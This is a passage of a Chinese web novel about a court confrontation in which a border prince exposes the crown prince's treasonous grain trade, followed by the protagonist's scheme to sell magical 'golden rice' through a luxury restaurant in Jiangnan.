“你分明是觊觎他们的家产,才寻了这么一个莫须有的罪名,行此灭绝之事!你这是在效仿前朝的乱臣贼子,拥兵自重,割据一方!”
太子一番话,说得声色俱厉,义正言辞。
立刻,便有数名官员站出来附和。
“太子殿下所言极是!请陛下明察!”
“风啸天此举,天理难容!请陛下为那三千冤魂做主!”
户部尚书陈
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松,更是哭得老泪纵横,仿佛**的是他亲爹。
“陛下啊!孙、王、李三家,都是我大乾的良商啊!老臣与他们多有往来,他们对朝廷,对陛下,那是忠心耿耿啊!风啸天如此残害忠良,简直是丧心病狂!”
一时间,整个太和殿,都成了声讨风啸天的舞台。
风啸天站在风暴的中心,却像一根定海神针,纹丝不动。
他冷冷地看着太子和陈松等人的表演,直到他们的声音渐渐平息,才再次开口。
“太子殿下,陈尚书。”
他的目光,如同两把利剑,直刺二人。
“你们说孙、王、李三家是良商,对我大乾忠心耿耿。那我倒想问问,为何我从他们的府邸中,搜出了与北莽屠各部落来往的信件?信中,详细记录了我镇北军的**、粮草储备,甚至连巡逻换防的时间,都一清二楚!”
“为何我从他们的地窖里,搜出了足以装备五千人的兵器铠甲?这些兵甲的制式,可不是我大乾的,而是北莽的!”
“你们能告诉我,这是为什么吗?”
太子叶天的脸色,微微一变。
陈松的心,更是咯噔一下。
“一派胡言!”太子立刻反驳,“那些所谓的信件兵甲,谁知道是不是你伪造的?欲加之罪,何患无辞!”
“没错!”陈松也跟着喊道,“你这是栽赃陷害!”
“栽赃陷害?”风啸天冷笑一声,“我风啸天镇守北凉二十年,杀的蛮子没有十万也有八万。我需要用这种下三滥的手段,去对付几个手无寸铁的商人?”
他没有再理会两人,而是直接转向龙椅上的叶擎天。
“陛下!臣有人证!”
“传人证!”叶擎天的声音,依旧听不出喜怒。
很快,几名被五花大绑,形容枯槁的商人,被禁军押了上来。
他们是孙、王、李三家的管事,特地在抄家中留下来的人。
一见到大殿上的阵仗,几人立刻吓得屁滚尿流,跪在地上拼命磕头。
“陛下饶命!太子殿下救我!”
这一声“太子殿下救我”,让叶天的脸,瞬间白了。
整个大殿,也瞬间安静下来。
所有人的目光,都下意识地在太子和那几名管事之间来回移动。
第110章 殿前对质,反咬一口
那一声“太子殿下救我”,如同一记响亮的耳光,狠狠地抽在了叶天的脸上。
他感觉整个大殿的目光,都像针一样扎在自己身上。
“胡说八道!”叶天又惊又怒,指着那几个商人厉声喝道,“你们是什么东西?孤何时认识你们!”
“风啸天!你好卑鄙!竟然找了几个死囚来冒充三家管事,在此攀诬本宫!”
那几个管事被太子一喝,吓得浑身一哆嗦,但求生的本能还是让他们继续哭喊。
“殿下,您不能不管我们啊!当初是您派陈尚书的人来找我们,让我们帮忙和北莽人做生意,说……说赚了钱,都是为了您的大业啊!”
“我们给陈记粮行送了那么多粮食,换回来的银子,七成都孝敬给了陈尚天,哦不,陈尚书啊!”
“闭嘴!都给孤闭嘴!”陈松吓得魂飞魄散,冲上去就想堵住他们的嘴。
这几个蠢货,怎么把这些事都给捅出来了!
“陈尚书,何必如此激动?”
风啸天一把拦住了他,似笑非笑地看着他。
“不做亏心事,不怕鬼敲门。让他们说嘛,陛下还在这里听着呢。”
叶擎天坐在龙椅上,面沉如水,看着下方这出闹剧,手指在扶手上轻轻敲击着。
“笃、笃、篤……”
每一下,都像是敲在叶天和陈松的心脏上。
“陛下!”风啸天再次躬身,“人证在此,物证臣也已派人送往三法司勘验。孙、王、李三家,打着与北莽通商的旗号,实则行资敌、探报之举,证据确凿,罪不容诛!”
“臣身为北凉之主,镇疆之臣,发现此等通敌叛国之贼,若不雷霆剪除,便是对陛下不忠,对大乾不义!”
“臣,问心无愧!”
一番话,掷地有声,铿锵有力。
大殿内,原本那些附和太子的官员,此刻都闭上了嘴,一个个眼观鼻,鼻观心,装起了鹌鹑。
局势,似乎在瞬间逆转。
太子叶天的额头上,已经冒出了细密的冷汗。
他怎么也没想到,风啸天竟然准备得如此充分,连人证都带到了京城。
同时也对陈松这个废物心生怨恨,叫他早点擦干净屁股,怎么还会留下这么大的祸患?
他下意识地看向自己的父皇,希望从那张威严的脸上,看到一丝对自己的维护。
然而,叶擎天的脸上,只有一片化不开的冰冷。
“太子。”
叶擎天终于开口了。
“你,有什么想说的吗?”
“父皇!”叶天噗通一声跪了下来,“儿臣是冤枉的!儿臣对父皇,对大乾,忠心耿耿,日月可鉴啊!”
“是风啸天!是他栽赃陷害儿臣!他……他就是想借此机会,打击儿臣,动摇国本,他其心可诛啊!”
到了这个时候,他还在嘴硬。
风啸天看着他,眼中闪过一丝不屑。
烂泥扶不上墙。
他没有再给太子辩解的机会,而是乘胜追击,将矛头,直指真正的要害。
“陛下!”
风啸天从怀中,取出一只半旧的布袋。
正是当初叶玄在北莽游骑营地缴获的,印着“陈记粮行”字样的米袋。
“此物,是臣从一支被歼灭的北莽游骑兵身上缴获的。当时,这支游骑兵正准备劫掠我大乾村庄,被我军发现,尽数歼灭。”
“而他们的补给粮草,用的,全都是这种米袋。”
他将米袋高高举起,让所有人都看清楚上面那四个大字。
“陈记粮行!”
“据臣所知,陈记粮行是京城四大粮行之一,其背后东家,正是咱们这位一心为国,痛斥臣滥杀无辜的户部尚书,陈松,陈大人!”
轰!
这句话,如同一道真正的惊雷,在太和殿内炸响。
所有人的目光,瞬间聚焦在了早已面无人色的陈松身上。
如果说,刚才商人的指证,还可以狡辩为攀诬。
那这从北莽人身上缴获的米袋,就是铁证!
“陈尚书!”风啸天的声音,如同来自九幽的审判,“你身为朝廷户部尚书,掌管天下钱粮,却监守自盗,将我大乾的粮食,源源不断地卖给我们的死敌北莽!”
“你用大乾子民的血汗,去喂饱那些随时会南下劫掠的豺狼!”
“你告诉我,你这算不算
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通敌叛国?!”
“你告诉我,你该不该杀?!”
“我……我……”
陈松双腿一软,彻底瘫倒在地,裤裆处,传来一阵骚臭。
他竟是直接吓尿了。
“陛下……陛下饶命啊!不是我……不是我啊!是太子……都是太子殿下逼我这么做的啊!”
情急之下,他把所有的责任,都推到了太子身上。
“殿下说东宫缺钱,说这是为了他日后登基的大业……我……我只是奉命行事啊!陛下!”
“你……你胡说!”叶天没想到陈松这条狗竟然会反咬自己一口,气得浑身发抖,“你竟敢污蔑本宫!”
“我没有污蔑!我还有账本!所有和北莽交易的账本,我都藏在家里!陛下若是不信,可以派人去搜!”陈松为了活命,已经什么都顾不上了。
“够了!”
龙椅上,叶擎天猛地一拍扶手,发出一声巨响。
一股恐怖的帝王威压,瞬间笼罩了整个大殿。
所有人都噤若寒蝉,跪伏于地。
“将这几个人,全部给朕押入天牢,严加看管!”
“陈松,抄家!给朕仔细地查!一根**都不能放过!”
“遵旨!”
禁军立刻上前,将早已瘫软如泥的陈松和那几个管事拖了下去。
大殿内,只剩下跪在地上的太子,和站着的风啸天。
“太子叶天。”叶擎天的声音,冰冷刺骨,“禁足东宫,没有朕的旨意,不许踏出半步!给朕好好反省!”
“父皇……”叶天还想说什么。
“滚!”
叶擎天一个字,让他把所有的话都咽了回去,只能失魂落魄地,在太监的搀扶下,退出了大殿。
一场惊心动魄的殿前对质,以**羽的全线溃败,告一段落。
风啸天站在原地,心中却没有半分喜悦。
他知道,这只是开始。
他赢了太子,但还没赢过眼前这位,真正掌控着所有人命运的皇帝。
他抬起头,迎向了叶擎天那深不见底的目光。
他看到,那目光中,没有愤怒,没有欣慰,只有更加浓重的……猜忌。
第111章 帝王心术,平衡之道
太和殿内,随着太子和陈松等人的离去,恢复了死一般的寂静。
文武百官跪伏于地,头都不敢抬。
他们都能感觉到,龙椅之上,那股压抑的怒火,并未因为处置了太子和陈松而消散,反而愈发凝重。
叶擎天看着下方那个依旧站得笔直的身影,心中五味杂陈。
愤怒,是有的。
自己的儿子,竟然做出如此愚蠢且胆大包天的事情,简直是将皇家的脸面,按在地上摩擦。
但更多的,是一种被冒犯,被挑战的恼怒。
无论是太子勾结陈松私通北莽,还是风啸天在北凉大开杀戒,他们做这些事之前,有谁问过他这个皇帝?
他们都把他当成什么了?
一个可以随意糊弄的老糊涂吗?
朕的江山,岂容尔等动刀!
叶擎天缓缓开口,声音不大,却让每个人都听得清清楚楚。
“风啸天。”
“臣在。”
“你这次,做得很好。”叶擎天说道,“为国锄奸,当赏。”
风啸天心中一凛,没有接话。
他知道,皇帝的赏赐,从来都不是那么好拿的。
果然,叶擎天话锋一转。
“但是,你千不该,万不该,不该在没有奏请朝廷的情况下,擅自行动。”
“镇北城,是我大乾的镇北城。城中子民,是我大乾的子民。他们的生死,该由我大乾的律法来定,该由朕,来定!”
“你手握二十万大军,镇守一方,已是国之重臣。若人人都像你这般,视国法为无物,凭自己的好恶行事,那还要朝廷做什么?还要朕这个皇帝做什么?”
“你这是在告诉天下人,你风啸天,就是北凉的土皇帝,是吗?”
最后一句,已是声色俱厉。
一股无形的压力,如山岳般,朝着风啸天压了过去。
这,才是真正的帝王之怒。
风啸天只觉得呼吸一窒,但他依旧挺直了脊梁。
“陛下,臣不敢。”他沉声说道,“臣只是以为,将在外,君命有所不受。边疆之事,瞬息万变,若事事请奏,恐怕早已贻误战机。”
“好一个将在外,君命有所不受!”叶擎天冷笑一声,“风啸天,你倒是给朕上了一课。”
他站起身,缓缓走下龙椅。
明黄色的龙袍,在光洁的金砖上拖曳,发出沙沙的声响。
他一步一步,走到风啸天面前。
两人,一个是大乾的皇帝,一个是大乾最强的藩王,时隔数年,再次如此近距离地对视。
“你可知,就在你赶来京城的这些天里,北莽十万大军,**镇北城。”叶擎天盯着他的眼睛,缓缓说道。
风啸天的心,猛地一沉。
“犬子风云天,率领全城军民,死守十二日,北莽损兵折将,最终无功而返。”
听到这话,风啸天紧绷的心,才稍稍松了口气。
守住了就好。
“守住了?”叶擎天仿佛看穿了他的心思,嘴角的弧度愈发冰冷,“你以为,阿史那·雄那十万大军,真是被你那个**都没长齐的儿子打退的吗?”
风啸天眉头一皱,没有说话。
“朕告诉你,他们是被吓退的。”叶擎天一字一句地说道,“是被一支,连朕都不知道从哪里冒出来的,战力堪比虎狼的幽灵骑兵,给活活吓退的!”
“风啸天,你藏得好深啊。”
“在朕的眼皮子底下,在北凉那片苦寒之地,你竟然悄无声息地,又练出了一支王牌。”
“你跟朕说说,这支军队,是哪来的?”
“你养着这样一支私兵,想做什么?”
“是不是有一天,也要用它,来攻破朕的京城,坐上朕这张龙椅?”
句句诛心!
风啸天只觉得一股寒意,从脚底直冲天灵盖。
他终于明白,皇帝真正的杀招,在这里。
铲除**羽,只是开胃菜。
敲打他擅杀世家,也只是前奏。
这支突然出现的大雪龙骑,才是皇帝心中,那根最深的刺!
风啸天的大脑,飞速运转。
这件事,该如何解释?
说那是八皇子叶玄的军队?
不行!
一旦把叶玄牵扯进来,以皇帝多疑的性子,只会认为他们叔侄二人早已勾结在一起,图谋不轨。
到时候,不仅救不了自己,反而会把叶玄也拖下水。
可若是不说,这“私藏精锐,意图谋反”的帽子,就结结实实地扣在了自己头上。
这是一个死局。
看着风啸天变幻不定的脸色,叶擎天眼中的猜忌,更深了。
“怎么,说不出来了吗?”
风啸天深吸一口气,猛地单膝跪地。
“陛下!臣冤枉!”
“这支军队,并非臣所练!”
“哦?”叶擎天饶有兴致地看着他,“那是从地里长出来的?”
“回陛下!”风啸天抬起头,眼中满是“坦诚”,“这支军队,臣也只是见过一次。他们的来历,臣确实不知。”
“臣只知道,他们的首领,是一个名叫叶潜渊
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的年轻人。此人医术通神,武功深不可测,是他主动找上臣,说愿意助我北凉,抵御北莽。”
“至于他的目的……臣不知。臣只知,敌人的敌人,就是朋友。在北莽大军压境之际,任何一支愿意为我大乾出力的力量,臣都愿意接纳!”
他将所有的事情,都推到了一个虚构的“叶潜渊”身上。
他赌,皇帝远在京城,不可能在短时间内,查清叶玄在北凉的底细。
他这是在用一个谎言,去拖延时间。
为自己,也为叶玄,争取时间。
叶擎天沉默了。
他看着风啸天,想从他的脸上,看出一丝撒谎的痕迹。
但风啸天的表情,太真诚了。
真诚得,就像真的一样。
叶潜渊?
这个名字,他似乎在哪里听过。
对了,太子之前送来的密报里,也提到了这个名字。
说风啸天之所以敢在镇北城动手,就是因为背后有这个“叶潜渊”撑腰。
难道,真有这么一号神秘人物?
一个能凭空拉起一支万人重骑的年轻人?
叶擎天的心中,疑云更重了。
他最讨厌的,就是这种脱离自己掌控的感觉。
许久,他才缓缓开口。
“好,朕暂且信你一次。”
“这个叶潜渊,朕会派人去查。你最好祈祷,你说的都是实话。”
他转过身,走回龙椅。
“至于你……”
他看着风啸天,“镇北城不可一日无主。北莽虽退,但贼心不死。你即刻返回北凉,继续给朕守好国门。”
“但是……”
叶擎天的声音,再次变得冰冷。
“朕会派一名监军,与你同去。以后,镇北军所有百人以上的兵力调动,都必须有监军的印信,方能生效。”
“你,可有异议?”
风啸天的心,沉到了谷底。
明升暗降,派人分权。
这,就是帝王的心术,平衡的手段。
他既要用你,又要防你。
“臣……遵旨。”
风啸天从牙缝里,挤出这三个字。
他知道,自己没有选择。
能保住性命,能回到北凉,已经是最好的结果了。
“退下吧。”叶擎天挥了挥手,脸上满是疲惫。
风啸天躬身行礼,缓缓退出了太和殿。
当他走出宫门,看到外面那刺眼的阳光时,长长地吐出了一口浊气。
后背,早已被冷汗浸透。
这一趟龙潭虎穴,总算是……闯过来了。
第112章 江南好,风景旧曾谙
通往江南的官道上,三匹快马不紧不慢地行进着。
离开了北凉的苦寒之地,沿途的景致也渐渐变得温润起来。
道路两旁,开始出现连绵的田野,虽然时值深秋,大部分作物已经收割,但那股泥土的芬芳,却与北凉的萧瑟截然不同。
“苏姐姐,你看,那边的枫树好红啊!”
柳月雪指着远处山坡上的一片火红,脸上带着新奇的兴奋。
自小体弱,她很少有机会离开云安城,眼前的一切对她来说,都是新鲜的。
苏轻雪顺着她指的方向看去,脸上也露出一丝淡淡的笑意。
“江南的秋色,确实冠绝天下。等到了真正的江南水乡,那小桥流水,白墙黛瓦,比这更好看。”
“真的吗?”柳月雪的眼中充满了向往。
叶玄骑在最前面,听着身后两个女子的笑语,没有回头。
他看似在专心赶路,实则一部分心神,早已沉入了体内。
六品凝体境,是一个打磨肉身的过程。
铜皮铁骨、银身钢胆、金骨玉皮。
寻常武者,想要完成这三阶的蜕变,少则十年,多则数十年,还需要耗费无数天材地宝来熬炼身体。
但叶玄不同。
他有《人皇镇狱经》,这部**霸道无比,修炼时引动的人皇之气,本身就是淬炼肉身的最佳灵药。
短短几天的功夫,他便感觉自己的身体强度,已经稳稳地踏入了“铜皮铁骨”的层次。
现在的他,寻常刀剑,已经难以伤到他的皮肤。
“前面有个茶寮,我们过去歇歇脚吧。”
叶玄勒住马,指了指前方不远处路边的一个简陋棚子。
“好啊好啊!”柳月雪立刻欢呼起来。
三人下马,将马拴在旁边的木桩上,走进了茶寮。
茶寮里只有一位上了年纪的老丈,正在打盹。
“老丈,来三碗热茶,再上些能填肚子的干粮。”叶玄开口道。
“好嘞,客官稍等。”
老丈被惊醒,慢悠悠地起身,去准备茶水。
柳月雪好奇地打量着四周,苏轻雪则从行囊里取出一个水囊,小口地喝着。
叶玄的目光,却落在了邻桌的几名客人身上。
那是一桌五人,都作行商打扮,风尘仆仆,腰间佩着刀剑,看起来是走南闯北的**湖。
他们正在高声谈论着什么,声音没有丝毫避讳。
“听说了吗?京城里出大事了!”一个满脸络腮胡的大汉,压低了声音,却难掩兴奋。
“什么大事?不就是太子殿下又纳了哪个大臣的女儿做侧妃吗?”同伴不以为意地说道。
“比那大多了!”络腮胡汉子神秘兮兮地说道,“我可是有内幕消息。前几日早朝,镇北王风啸天,跟太子殿下,在太和殿上,当着满朝文武和陛下的面,吵起来了!”
“什么?”
此言一出,不仅是他的同伴,连茶寮里其他几桌的客人,也都竖起了耳朵。
**藩王,这可是天大的新闻。
“真的假的?镇北王那可是手握二十万大军的国之柱石,太子怎么敢跟他吵?”
“千真万确!”络腮胡汉子拍着胸脯保证,“我有个表舅的儿子的同窗,就在京城当差,这事儿都传遍了!”
“据说啊,是太子殿下先发难,说镇北王在北凉滥杀无辜,屠戮世家,形同谋反!”
“我的天!这么大的罪名?”
“可不是嘛!当时满朝文武都吓傻了。结果你们猜怎么着?”络腮胡卖起了关子。
“怎么着?快说啊!”众人催促道。
“结果那镇北王,一点都不慌,不卑不亢,直接就说,他杀的,都是私通北莽的奸细!还当场反咬一口,说京城有个叫‘陈记粮行’的,就是太子爷的钱袋子,专门跟北莽做生意,卖粮食给蛮子,是真正的通敌叛国!”
“嘶——”
茶寮内,响起一片倒吸凉气的声音。
这已经不是吵架了,这是直接掀桌子,往死里互捅刀子啊!
一个藩王,一个储君,在朝堂之上,互相指责对方通敌叛国。
这戏码,可比民间的话本子精彩多了。
叶玄端着茶碗,静静地听着,脸上没有任何表情。
苏轻雪和柳月雪也听到了,两人对视一眼,都从对方眼中看到了震惊。
她们没想到,京城的局势,已经恶化到了这种地步。
“那后来呢?陛下怎么说?”有人追问道。
“后来?”络腮胡汉子一摊手,
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“后来就没后来了。据说陛下当场龙颜大怒,把两边都骂了一顿,然后就退朝了。镇北王好像洗脱嫌疑被放回北凉了。”
“啧啧,还得是镇北王啊!实力强盛,没有他北凉哪里有这么安稳!”
“你这话我就不认同,自古功高盖主者,都没有任何好下场,我估计镇北王经过这次事件,恐怕以后的日子不好过咯……”
商人们议论纷纷,各自发表着自己的看法。
叶玄将碗里的茶水喝完,站起了身。
“我们走吧。”
“叶公子,这……”苏轻雪的脸上带着忧色。
“天塌不下来。”叶玄的语气很平静,“既然皇帝还留着他一条命,那就代表他还有用处,而且只要他回到了北凉,那事情该怎么发展就不是皇帝能够决定的了……”
“哦?”苏轻雪有些不解。
“他把太子和陈记粮行通敌的事情,摆在了台面上。虽然皇帝暂时压下去了,但这颗怀疑的种子,已经种在了所有人的心里。”叶玄解释道。
“以后,我们再用这条线去攻击太子,就名正言顺,事半功倍了。”
“更重要的是,现在所有人的目光,都被京城和北凉吸引了过去。江南这边,反而成了最安全的地方。”
“我们有足够的时间,在这里,悄无声息地,建立起属于我们自己的根基。”
苏轻雪闻言,这才恍然。
是啊,乱,才有机会。
一旁的柳月雪听得云里雾里,但她看到叶玄那副成竹在胸的样子,心中的担忧也莫名的消散了许多。
三人重新上路。
又行了七八日,江南的轮廓,终于出现在了地平线上。
与北方的雄浑壮阔不同,这里的一切,都透着一股精致和秀美。
河道纵横,小桥密布,乌篷船在水面上悠悠划过,两岸是白墙黛瓦的民居,酒旗招展,炊烟袅袅。
空气中,都弥漫着一股湿润而溫柔的水汽。
“好美啊……”柳月雪看着眼前的景象,不由得发出一声感叹。
就连一直心事重重的苏轻雪,此刻的心情也放松了不少。
“走吧,先进城,找个地方住下。”叶玄催马前行,“我们的生意,就要从这里开始了。
第113章 江南纸贵,黄金米
江南,苏城。
作为江南最富庶的城市之一,苏城自古便是文人墨客**,商贾云集之地。
城内最大的一家客栈,“悦来客栈”的天字号房内。
叶玄正临窗而坐,手中把玩着一只精致的茶杯。
窗外,是苏城繁华的街景,小贩的叫卖声,行人的说笑声,不绝于耳。
苏轻雪和柳月雪,则坐在另一边,低声商议着什么。
她们面前的桌上,铺着一张苏城的地图,上面用朱笔圈出了好几个地方。
“苏姐姐,我觉得城南那家锦绣布庄的位置最好。那里靠近码头,人流量大,而且周围都是些高档的铺子,符合我们黄金米的定位。”柳月雪指着地图上的一个点,分析道。
“位置是不错,但价格恐怕也不便宜。”苏轻雪蹙眉道,“我们初来乍到,根基未稳,还是应该先求稳妥。”
“我倒觉得,我们不需要租铺子。”
叶玄的声音,突然插了进来。
两女都有些诧异地看向他。
“不做生意,不开铺子,那我们怎么把米卖出去?”柳月雪不解地问。
“谁说我们不做生意?”叶玄笑了笑,“只是,我们不自己做。”
他放下茶杯,走到两人身边,手指在地图上,点了点另一个地方。
“这里,是什么地方?”
苏轻雪和柳月雪凑过去一看,那地方标注着三个字——“醉仙楼”。
“醉仙楼?”苏轻雪想了想,说道,“这是苏城最大,也是最奢华的酒楼。能在这里吃饭的,非富即贵,一顿饭的开销,就抵得上寻常人家一年的嚼用。”
“没错。”叶玄点头,“我们要做的,就是让我们的黄金米,成为醉仙楼的招牌菜。”
“让醉仙楼,替我们卖米。”
柳月雪的眼睛一亮。
“这……这是个好主意!借鸡生蛋!醉仙楼本身就有最顶级的客源,我们只要能说服他们,就等于一步登天,直接打开了苏城最顶端的市场!”
苏轻雪却皱起了眉头。
“想法是好,但恐怕没那么容易。”她分析道,“醉仙楼能开这么大,背后必然有极深的背景。他们凭什么要跟我们合作?我们这米虽然神奇,但来路不明,他们未必敢用。”
“而且,一旦合作,如何定价,如何分账,都是问题。若是被他们拿捏住了命脉,我们反而会受制于人。”
“你说的都对。”叶玄赞许地点了点头,“所以,我们去找他们谈,不能以一个普通供货商的身份去。”
“我们要让他们……求着我们合作。”
他从怀中,取出一只小小的锦囊,递给苏轻雪。
“这里面,是十两黄金米。”
“你去一趟醉仙楼,就说,你是京城来的贵人,吃不惯南方的米,让他们用这米,给你做一碗饭。”
“记住,姿态要高,排场要做足。不要跟他们的掌柜谈,要直接见他们的东家。”
苏轻雪冰雪聪明,瞬间就明白了叶玄的用意。
“你是想……先让他们尝到甜头,再吊着他们的胃口?”
“正是。”叶玄笑道,“这世上,最好的生意,永远是独家生意。只要让他们意识到这黄金米的价值,和它能带来的巨大利润,他们自然会主动找上门来。”
“到时候,合作的条件,就由我们说了算了。”
苏轻雪接过锦囊,脸上露出一丝自信的笑容。
“好,这件事,交给我。”
……
当天下午,一辆华丽的马车,停在了醉仙楼的门口。
苏轻雪换上了一身华贵的罗裙,云鬓高耸,珠钗环绕,身后跟着几名叶玄临时花钱雇来的仆从,气场十足。
她一进门,那股清冷高贵的气质,就让整个嘈杂的大堂都为之一静。
酒楼的掌柜连忙满脸堆笑地迎了上来。
“这位小姐,里面请,里面请。不知是打尖还是住店?”
“本小姐要吃饭。”苏轻雪看都没看他一眼,径直走到一张靠窗的空桌边坐下。
“把你们这里最好的酒菜,都上一遍。”
“好嘞!”掌柜的见来了大主顾,更是殷勤。
很快,一道道精致的菜肴便如流水般送了上来。
苏轻雪却连筷子都没动一下,只是皱着眉头,似乎十分不满意。
“你们这酒楼,就只有这些东西吗?”她的声音里带着一丝不耐烦。
掌柜的心中一咯噔,连忙上前。
“小姐,这……这已经是我们这最好的菜色了,您要是不满意,小的再让后厨给您另做?”
“不必了。”苏轻雪摆了摆手,
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将那个装着黄金米的锦囊,扔在了桌上。
“本小姐吃不惯你们南方的米。这里是十两米,拿去,给我单独蒸一碗饭。”
“记住,要用最好的泉水,最干净的锅。若是弄砸了,本小姐拆了你这破店!”
一番话说得霸道无比。
掌柜的虽然心中不快,但看对方的派头,也不敢得罪,只能陪着笑脸,拿起锦囊。
“是是是,小姐您放心,小的亲自去后厨盯着。”
半个时辰后。
当那碗用黄金米蒸出来的米饭,被端上桌时。
一股无法形容的异香,瞬间弥漫了整个醉仙楼。
所有正在吃饭的客人,都下意识地停下了筷子,使劲地嗅着鼻子,寻找着香味的来源。
“什么味道?这么香?”
“好像……好像是从那边那个小姑娘的桌上传来的。”
“一碗白米饭,怎么可能这么香?”
在所有人好奇的注视下,苏轻雪拿起筷子,优雅地吃完了那碗饭。
然后,她扔下一张百两的银票,看都不看满桌的酒菜,起身便走。
“这饭,还算勉强能入口。赏你们了。”
留下整个酒楼的客人和掌柜,目瞪口呆。
当天晚上。
醉仙楼的后院,一间雅致的书房内。
一个穿着锦袍,看起来四十多岁的中年男人,正端着一只空碗,脸上是意犹未尽的表情。
他便是醉仙楼的东家,钱万三。
“东家,那米……您尝了?”掌柜的小心翼翼地站在一旁。
“尝了。”钱万三放下碗,长长地吐出一口气,“好东西,真是好东西啊!”
他只是吃了一小口,就感觉那股温润的暖流传遍全身,整个人都舒泰了不少。
作为商人,他立刻就意识到了这东西背后蕴藏的巨大商机。
“查出来了吗?下午那个姑娘,是什么来路?”钱万三问道。
“查了。”掌柜的连忙回答,“她住在悦来客栈的天字号房,出手阔绰,派头极大,应该是从京城来的某个大人物家的小姐。”
“京城来的……”钱万三的眼中,精光一闪。
“备车!”他猛地站起身,“去悦来客栈!”
“不管她是什么来路,这黄金米的生意,我钱万三,必须拿到手!”
第114章 这生意,简直不要太好
悦来客栈,天字号房。
夜色渐深,苏城的喧嚣也渐渐沉淀下来,只有远处秦淮河上的画舫传来隐约的丝竹之声。
叶玄、苏轻雪和柳月雪三人刚用过晚饭,柳月雪正兴致勃勃地向苏轻雪请教着商队组建的细节,苏轻雪则耐心地一一解答。
叶玄独自坐在窗边,手指有节奏地敲击着桌面,似乎在等待着什么。
“咚、咚、咚。”
房门被敲响了。
声音不急不缓,沉稳有力。
柳月雪停下话头,有些紧张地看向门口。
苏轻雪则不动声色地望向叶玄。
叶玄头也没回,只淡淡地说了一句:“来了。”
他起身,亲自走过去打开了房门。
门外站着两个人。
为首的是一个四十多岁的中年男人,身穿暗紫色锦袍,身材微胖,脸上挂着和气的笑容,但那双小眼睛里却闪烁着精明的光。
他身后,则恭敬地站着醉仙楼的掌柜。
正是钱万三。
“这位想必就是叶公子吧,请问苏小姐是不是也在里边?”钱万三一开口,声音便带着一股商场上浸淫多年的圆滑,“在下钱万三,是醉仙楼的东家。冒昧深夜来访,还望公子海涵。”
“钱老板客气了,请进。”叶玄侧身让开一条路。
钱万三笑着走进房间,目光快速地在房内扫了一圈,当看到苏轻雪和柳月雪时,眼中闪过一丝了然,但并未多言,只是对着两人拱了拱手,算是打过招呼。
掌柜的则识趣地守在门外,不敢进来。
“不知钱老板深夜造访,所为何事?”叶玄给他倒了杯茶,开门见山地问道。
“明人不说暗话。”钱万三也不绕圈子,他从怀中取出一个小小的锦囊,放在桌上,正是下午苏轻雪留在醉仙楼的那一个。
“在下是为这‘黄金米’而来。”
他将锦囊推到叶玄面前,“下午令妹在小店的一番举动,可是让钱某大开眼界。钱某不才,经商半生,自问也算见过些奇珍异宝,但像这般神异的米粮,却是生平仅见。”
他顿了顿,身体微微前倾,压低了声音:“叶公子,这黄金米的生意,不知可否赏给在下做?”
“钱老板想怎么做?”叶玄不答反问。
“好说!”
钱万三以为有戏,立刻坐直了身体,脸上笑容更盛,“只要公子愿意将这黄金米独家供应给我醉仙楼,价格好商量!一两米,我出……一百两银子!如何?”
一百两银子一两米!
这个价格,足以让任何米商疯狂。
旁边的柳月雪听到这个数字,忍不住倒吸一口凉气。
她家也是经商的,可从未做过利润如此夸张的买卖。
然而,叶玄听完,只是端起茶杯,轻轻吹了吹热气,连眼皮都没抬一下。
钱万三见状,心里咯噔一下。
对方的反应太平静了。
平静得让他心里没底。
难道是嫌少?
他咬了咬牙,伸出五根手指:“五百两!一两米,五百两银子!叶公子,这绝对是天价了!整个江南,没人能出比我更高的价钱!”
叶玄终于放下了茶杯,他看着钱万三,笑了笑。
“钱老板,你觉得,我像是缺钱的人吗?”
一句话,让钱万三脸上的笑容僵住了。
是啊,住在悦来客栈天字号房,随手就能雇佣一堆仆从撑场面,吃一顿饭扔下百两银票眼都不眨一下。
这样的人,会缺那几百两银子?
他图的,肯定不是钱。
钱万三的脑子飞速转动,瞬间调整了策略。
“是钱某唐突了。”
他收起脸上的市侩,神情变得郑重起来,“叶公子,您直说吧,您需要什么?只要我钱万三能办到,绝不推辞。”
“我要的,钱老板未必给得起。”叶玄淡淡地说道。
“公子不妨说说看。”钱万三的姿态放得更低了。
他知道,今天若是谈不拢,这桩能让醉仙楼更上一层楼,甚至名动天下的生意,就要从指缝里溜走了。
“我不要钱。”叶玄终于说出了自己的条件,“我要合作。”
“合作?”钱万三愣了一下。
“没错。”叶玄点了点头,“黄金米,我可以独家供应给醉仙楼。但是,我不要你一文钱的货款。我要醉仙楼三成的纯利。”
“三成?”钱万三的瞳孔猛地一缩。
醉仙楼每日流水惊人,纯利更是个天文数字。三成纯利,这已经不是狮子大开口了,这是要从他身上活生生割下一大块肉来。
“叶公子,这……这未免也太……”
“多吗?”叶玄打断他,“钱老板,你要明白一件事。不
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是我需要你,而是你需要我。没有我的黄金米,你的醉仙楼,依旧是苏城最大的酒楼,生意兴隆,日进斗金。”
“但有了我的黄金米,你的醉仙楼,就不再仅仅是苏城的醉仙楼了。它可以是江南的醉仙楼,甚至,是整个大乾的醉仙楼。”
“你想想看,当那些王公贵族、世家巨富,为了尝一口黄金米饭,不远千里,一掷千金来到你的醉仙楼时,那会是怎样一副光景?”
“你得到的,仅仅是三成利润吗?不,你得到的是名声,是地位,是无数人梦寐以求的人脉。这些东西的价值,远不是金钱可以衡量的。”
叶玄的每一句话,都像是一把小锤子,精准地敲在钱万三的心坎上。
钱万三的呼吸变得有些急促。
他不得不承认,叶玄说得对。
他看到了一个无比诱人的前景,一个能让他钱家的生意,达到一个前所未有高度的机会。
可三成的纯利,实在让他肉疼。
“叶公子,”他试图做最后的争取,“两成,如何?两成,已经是我的底线了。您要知道,醉仙楼上上下下几百口人要养,朝廷的税赋,各路神仙的打点,哪一样不是开销……”
“钱老板。”叶玄站起身,走到窗边,推开窗户,晚风吹动他的衣衫。
“我的条件,不会变。给你一夜的时间考虑。”
“明天这个时候,我若是等不到你的答复,我会去找城西的得意楼,或者城东的聚八方。我想,他们应该会对我的提议很感兴趣。”
“当然,你也可以现在就拒绝我。然后,从明天开始,看着你的客人,一天比一天少,全都跑到你对手的店里,去排队吃一碗能延年益寿的米饭。”
叶玄说完,便不再看他。
这是赤裸裸的威胁。
也是不容置疑的自信。
钱万三坐在椅子上,额头上已经渗出了细密的汗珠。
他知道,自己没得选。
从他尝到那碗黄金米饭的第一口起,他就已经输了。
他沉默了许久,仿佛经历了一场天人交战。
最终,他长长地吐出了一口气,像是泄掉了全身的力气。
“不必等到明天了。”
钱万三站起身,对着叶玄的背影,深深地鞠了一躬。
“叶公子,这笔生意,我钱万三接了!”
